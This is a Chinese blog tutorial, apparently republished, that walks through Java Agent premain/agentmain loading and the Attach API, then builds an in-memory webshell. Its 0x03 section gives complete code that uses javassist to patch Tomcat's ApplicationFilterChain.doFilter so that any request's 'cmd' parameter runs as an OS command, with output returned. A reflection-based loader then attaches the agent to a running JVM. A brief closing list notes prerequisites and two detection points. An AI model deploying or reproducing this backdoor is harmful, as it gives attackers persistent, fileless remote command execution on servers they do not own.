当前位置:   article > 正文

Java Agent 型内存马调试系列 (一)_java agent如何调试

java agent如何调试

0x00 前言

在JDK1.5以后,引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument。

在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据

Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够在不影响正常编译的情况实现动态修改字节码,已加载或者未加载的类,包括类的属性、方法。

https://xz.aliyun.com/t/9450#toc-5

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在JVM init时进行加载 (该特性在 jdk 1.5 之后才有)
  2. 实现 agentmain 方法,在JVM启动后进行加载 (该特性在 jdk 1.6 之后才有)

What Are Java Agents and How to Profile With Them

优点:

It’s meant to allow you to change code, altering its behavior, without actually having to edit its source code file.

启动函数:

In short, a Java agent is nothing more than a normal Java class. The difference is that it has to follow some specific conventions. The first convention has to do with the entry point for the agent. The entry point consists of a method called “premain”, with the following signature:

public static void premain(String agentArgs, Instrumentation inst)

If the agent class doesn’t have the “premain” method with the signature above, it should have the following, alternative method:

public static void premain(String agentArgs)

As soon as the JVM initializes, it calls the premain method of every agent. After that, it calls the main method of the Java application as usual.

A java agent, in practice, is a special type of .jar file. As we’ve already mentioned, to create such an agent, we’ll have to use the Java Instrumentation API.

0x01 premain

新建一个项目 “agent”。

Hello.java

  1. public class Hello {
  2. public static void main(String[] args) {
  3. System.out.println("Hello,main method");
  4. }
  5. }

hello.mf

  1. Manifest-Version: 1.0
  2. Main-Class: Hello

DemoTest

  1. import java.lang.instrument.Instrumentation;
  2. public class DemoTest {
  3. public static void premain(String agentArgs, Instrumentation inst) throws Exception {
  4. System.out.println(agentArgs);
  5. for (int i = 0; i < 5; i++) {
  6. System.out.println("premain method is invoked!");
  7. }
  8. }
  9. }

agent.mf

  1. Manifest-Version: 1.0
  2. Premain-Class: DemoTest

编译:

  1. javac Hello.java
  2. javac DemoTest.java

打jar包:

  1. jar cvfm hello.jar hello.mf Hello.class
  2. jar cvfm agent.jar agent.mf DemoTest.class

run(需要指定 javaagent参数,"="后面接传入的参数)

java -javaagent:agent.jar=Hello -jar hello.jar

输出className

DemoTest

  1. import java.lang.instrument.ClassFileTransformer;
  2. import java.lang.instrument.IllegalClassFormatException;
  3. import java.lang.instrument.Instrumentation;
  4. import java.security.ProtectionDomain;
  5. public class DemoTest {
  6. public static void premain(String agentArgs, Instrumentation inst) throws Exception {
  7. System.out.println(agentArgs);
  8. for (int i = 0; i < 5; i++) {
  9. System.out.println("premain method is invoked!");
  10. }
  11. inst.addTransformer(new DefineTransformer(), true);
  12. }
  13. public static class DefineTransformer implements ClassFileTransformer {
  14. @Override
  15. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  16. System.out.println(className);
  17. return new byte[0];
  18. }
  19. }
  20. }

重新编译执行:

报错了,原来是打jar包的时候有一个class没编译进去。

重新打jar包:

jar cvfm agent.jar agent.mf DemoTest.class DemoTest$DefineTransformer.class

运行:

java -javaagent:agent.jar=leeezp -jar hello.jar

又报错了,原来是要修改 DemoTest.java 的配置文件 agent.mf,Can-Retransform-Classes: true / Can-Redefine-Classes: true 添加到 agent.mf 中(注意最后空一行):

  1. Manifest-Version: 1.0
  2. Can-Retransform-Classes: true
  3. Premain-Class: DemoTest

运行成功:

java -javaagent:agent.jar=leeezp -jar hello.jar

0x02 agentmain

很多时候我们内存马注入的情况都是处于 JVM 已运行了的情况,所以上面的方法就不是很有用,不过在 jdk 1.6 中实现了attach-on-demand(按需附着),我们可以使用 Attach API 动态加载 agent ,然而 Attach API 在 tool.jar 中,jvm 启动时是默认不加载该依赖的,需要我们在 classpath 中额外进行指定。

AgentMain.java

  1. import java.lang.instrument.ClassFileTransformer;
  2. import java.lang.instrument.IllegalClassFormatException;
  3. import java.lang.instrument.Instrumentation;
  4. import java.security.ProtectionDomain;
  5. public class AgentMain {
  6. public static void agentmain(String agentArgs, Instrumentation ins) {
  7. ins.addTransformer(new DefineTransformer(),true);
  8. }
  9. public static class DefineTransformer implements ClassFileTransformer {
  10. @Override
  11. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  12. System.out.println(className);
  13. return new byte[0];
  14. }
  15. }
  16. }

agentmain.mf

  1. Manifest-Version: 1.0
  2. Can-Retransform-Classes: true
  3. Agent-Class: AgentMain

编译打包

  1. javac AgentMain.java
  2. jar cvfm AgentMain.jar agentmain.mf AgentMain.class AgentMain$DefineTransformer.class

至此我们的 AgentMain.jar 就成功生成了。

编写测试类 AgentMainDemo.java(在 https://blog.csdn.net/leeezp/article/details/126783259 中我已经介绍了如何新建一个简单的Springboot项目,所以不再赘述):

  1. import com.sun.tools.attach.*;
  2. import java.io.IOException;
  3. import java.util.List;
  4. public class AgentMainDemo {
  5. public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
  6. String path = "./AgentMain.jar";
  7. List<VirtualMachineDescriptor> list = VirtualMachine.list();
  8. for (VirtualMachineDescriptor v : list) {
  9. System.out.println(v.displayName());
  10. if (v.displayName().contains("AgentMainDemo")) {
  11. // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
  12. System.out.println(v.id());
  13. VirtualMachine vm = VirtualMachine.attach(v.id());
  14. System.out.println(vm);
  15. // 将我们的 agent.jar 发送给虚拟机
  16. vm.loadAgent(path);
  17. vm.detach();
  18. }
  19. }
  20. }
  21. }

直接run AgentMainDemo.java:

报了个奇怪的错:

java.lang.UnsatisfiedLinkError: sun.tools.attach.LinuxVirtualMachine.isLinuxThreads()Z

原来是我的tools.jar 只有 LinuxAttachProvider

原因是我在windows机器上运行了linux版本的tools.jar。

换个windows版本的:

 

重新运行AgentMainDemo.java,又报错:

Error opening zip file or JAR manifest missing: ./AgentMain.jar

修改AgentMainDemo.java相对路径为绝对路径:

  1. import com.sun.tools.attach.*;
  2. import java.io.IOException;
  3. import java.util.List;
  4. public class AgentMainDemo {
  5. public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
  6. String path = "C:\\Users\\Administrator\\Desktop\\Java-Shellcode-Loader-master\\untitled5\\src\\AgentMain.jar"; // 相对路径报错
  7. List<VirtualMachineDescriptor> list = VirtualMachine.list();
  8. for (VirtualMachineDescriptor v : list) {
  9. System.out.println(v.displayName());
  10. if (v.displayName().contains("AgentMainDemo")) {
  11. // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
  12. System.out.println(v.id());
  13. VirtualMachine vm = VirtualMachine.attach(v.id());
  14. System.out.println(vm);
  15. // 将我们的 agent.jar 发送给虚拟机
  16. vm.loadAgent(path);
  17. vm.detach();
  18. }
  19. }
  20. }
  21. }

再次运行:

java/lang/instrument/ClassFileTransformer.java类的transform方法,要么返回新的class字节码,要么返回null

我修改了 AgentMain.java,将return new byte[0]改成return null不报java/lang/IndexOutOfBoundsException错误了:

  1. import java.lang.instrument.ClassFileTransformer;
  2. import java.lang.instrument.IllegalClassFormatException;
  3. import java.lang.instrument.Instrumentation;
  4. import java.security.ProtectionDomain;
  5. public class AgentMain {
  6. public static void agentmain(String agentArgs, Instrumentation ins) {
  7. ins.addTransformer(new DefineTransformer(),true);
  8. }
  9. public static class DefineTransformer implements ClassFileTransformer {
  10. @Override
  11. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  12. System.out.println(className);
  13. //return new byte[0];
  14. return null;
  15. }
  16. }
  17. }

在实际使用中,因为tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar

所以呢我又修改了代码 TestAgentMain.java:

  1. import java.io.File;
  2. public class TestAgentMain {
  3. public static void main(String[] args) {
  4. try {
  5. System.out.println(System.getProperty("java.home")); //E:\jdk1.8\jre
  6. java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre", "lib") + File.separator + "tools.jar");
  7. //System.out.println(toolsPath);//E:\jdk1.8\lib\tools.jar
  8. //System.out.println(toolsPath.toURI().toURL().getClass()); //java.net.URL
  9. java.net.URL url = toolsPath.toURI().toURL(); //file:/E:/jdk1.8/lib/tools.jar
  10. java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
  11. Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
  12. Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
  13. java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
  14. java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine, null);
  15. System.out.println("Running JVM Start..");
  16. System.out.println(list.size());
  17. for (int i = 0; i < list.size(); i++) {
  18. Object o = list.get(i);
  19. java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);
  20. String name = (String) displayName.invoke(o, null);
  21. if (name.contains("com.example.demo.DemoApplication")) {
  22. java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
  23. String id = (String) getId.invoke(o, null);
  24. System.out.println(id);
  25. java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{java.lang.String.class});
  26. //System.out.println(attach);
  27. java.lang.Object vm = attach.invoke(o, new Object[]{id});
  28. System.out.println(vm);
  29. java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[]{java.lang.String.class});
  30. java.lang.String path = "C:\\Users\\Administrator\\Desktop\\Java-Shellcode-Loader-master\\untitled5\\src\\AgentMain.jar";
  31. System.out.println("------------");
  32. loadAgent.invoke(vm, new Object[]{path});
  33. java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);
  34. detach.invoke(vm, null);
  35. break;
  36. }
  37. }
  38. } catch (Exception e) {
  39. e.printStackTrace();
  40. }
  41. }
  42. }

其中这一行 if (name.contains("com.example.demo.DemoApplication")) { 要根据实际你要注入的进程名替换。

0x03 内存马注入

由于实际环境中我们通常遇到的都是已经启动着的,所以 premain 那种方法不合适内存马注入,所以我们这里利用 agentmain 方法来尝试注入我们的内存马

利用 insertBefore ,将其插入到前面,从而减少对原程序的功能破坏:

AgentMain.java

  1. import javassist.*;
  2. import java.lang.instrument.ClassFileTransformer;
  3. import java.lang.instrument.IllegalClassFormatException;
  4. import java.lang.instrument.Instrumentation;
  5. import java.security.ProtectionDomain;
  6. public class AgentMain {
  7. /*
  8. public static void premain(String agentArgs, Instrumentation inst) {
  9. agentmain(agentArgs, inst);
  10. }
  11. */
  12. public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
  13. public static void agentmain(String agentArgs, Instrumentation ins) {
  14. ins.addTransformer(new DefineTransformer(), true);
  15. Class[] classes = ins.getAllLoadedClasses();
  16. for (Class clas : classes) {
  17. if (clas.getName().equals(ClassName)) {
  18. try {
  19. ins.retransformClasses(new Class[]{clas}); //retransformClasses
  20. } catch (Exception e) {
  21. e.printStackTrace();
  22. }
  23. }
  24. }
  25. }
  26. public static class DefineTransformer implements ClassFileTransformer {
  27. @Override
  28. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  29. className = className.replace("/", ".");
  30. if (className.equals(ClassName)) {
  31. System.out.println("Find the Inject Class: " + ClassName);
  32. ClassPool pool = ClassPool.getDefault();
  33. try {
  34. CtClass c = pool.getCtClass(className);
  35. CtMethod m = c.getDeclaredMethod("doFilter");
  36. // 如果服务端没有 javassist.jar 会是NULL 不会打印值
  37. //System.out.println(c); // for debug // print : javassist.CtClassType@697a3904[public final class org.apache.catalina.core.ApplicationFilterChain implements javax.servlet.FilterChain...
  38. //System.out.println(m); // for debug // print : javassist.CtMethod@8fc543ac[public doFilter (Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V]
  39. m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
  40. "javax.servlet.http.HttpServletResponse res = response;\n" +
  41. "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
  42. "if (cmd != null){\n" +
  43. "java.io.InputStream in = null;\n" +
  44. "java.lang.String osname = java.lang.System.getProperty(\"os.name\").toLowerCase();\n" +
  45. "if (osname.contains(\"win\")) {" +
  46. " try {\n" +
  47. " in = Runtime.getRuntime().exec(new String[]{\"cmd\", \"/c\", cmd}).getInputStream();\n" +
  48. " }catch (Exception e){}\n" +
  49. "} else {\n" +
  50. " try {\n" +
  51. " in = Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd}).getInputStream();\n" +
  52. " }catch (Exception e){}\n" +
  53. "}\n" +
  54. "java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
  55. "try {\n" +
  56. // 方法一: 完美!!! 通过close() 使输出一遍
  57. "java.lang.String line;\n" +
  58. "java.io.PrintWriter writer = res.getWriter();\n" +
  59. "while ((line = reader.readLine()) != null) {\n" +
  60. "writer.write(line+\"\\r\\n\");}\n" +
  61. "writer.flush();\n" +
  62. "writer.close();\n" + // 输出流关闭操作放到循环外层
  63. /*
  64. 方法二:
  65. 会输出5遍,具体原因可能与 ApplicationFilterChain 默认的几条链有关,没做深入研究...
  66. //"java.io.PrintWriter writer=res.getWriter();\n" +
  67. //"writer.print(reader.lines().collect(java.util.stream.Collectors.joining(\"\\n\")));\n" +
  68. */
  69. /*
  70. 方法三:
  71. sevlet里面可以,在agent.jar里注入这种写法不行,原因未知
  72. //"java.io.PrintWriter writer=res.getWriter();\n" +
  73. //"writer.write(reader.lines().collect(java.util.stream.Collectors.joining(\"\\n\")));\n" + //writer.write() 报错, javassist.CannotCompileException: [source error] write(java.lang.Object) not found in java.io.PrintWriter
  74. */
  75. /*
  76. 方法四:
  77. 兼容性不好,中文不友好 java.io.CharConversionException: Not an ISO 8859-1 character: [�]
  78. //"((java.io.PrintWriter)res.getWriter()).write(reader.lines().collect(java.util.stream.Collectors.joining(\"\\n\")));\n" +
  79. //"res.getOutputStream().print(reader.lines().collect(java.util.stream.Collectors.joining(\"\\n\")).toString());\n" + // javassist.CannotCompileException: [source error] print(java.lang.Object) not found in javax.servlet.ServletOutputStream
  80. //"res.getOutputStream().flush();\n" +
  81. //"res.getOutputStream().close();\n" +
  82. */
  83. "} catch (java.io.IOException e2) {\n" +
  84. " e2.printStackTrace();\n" +
  85. " }\n" +
  86. "}");
  87. byte[] bytes = c.toBytecode();
  88. c.detach();
  89. return bytes;
  90. } catch (Exception e) {
  91. e.printStackTrace();
  92. }
  93. }
  94. return new byte[0];
  95. }
  96. }
  97. }

编译打jar包:

  1. javac -encoding utf-8 -classpath ./javassist-3.28.0-GA.jar AgentMain.java
  2. jar cvfm AgentMain.jar agentmain.mf AgentMain.class AgentMain$DefineTransformer.class

编译并执行测试程序:

  1. javac -encoding utf-8 ./TestAgentMain.java
  2. java TestAgentMain

0x04 利用条件

1.需要先获取jvm进程名,然后选择要注入的进程

2.服务端环境需要导入 javassist.jar

0x05 检测点

1.服务器日志异常,普通的hacker 虽然可以执行命令,但是因为代码不完善或操作失误会引起服务器日志抛出异常,成为一个溯源点。

2.检测内存里的class类名

3....

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/羊村懒王/article/detail/349106
推荐阅读
相关标签
  

闽ICP备14008679号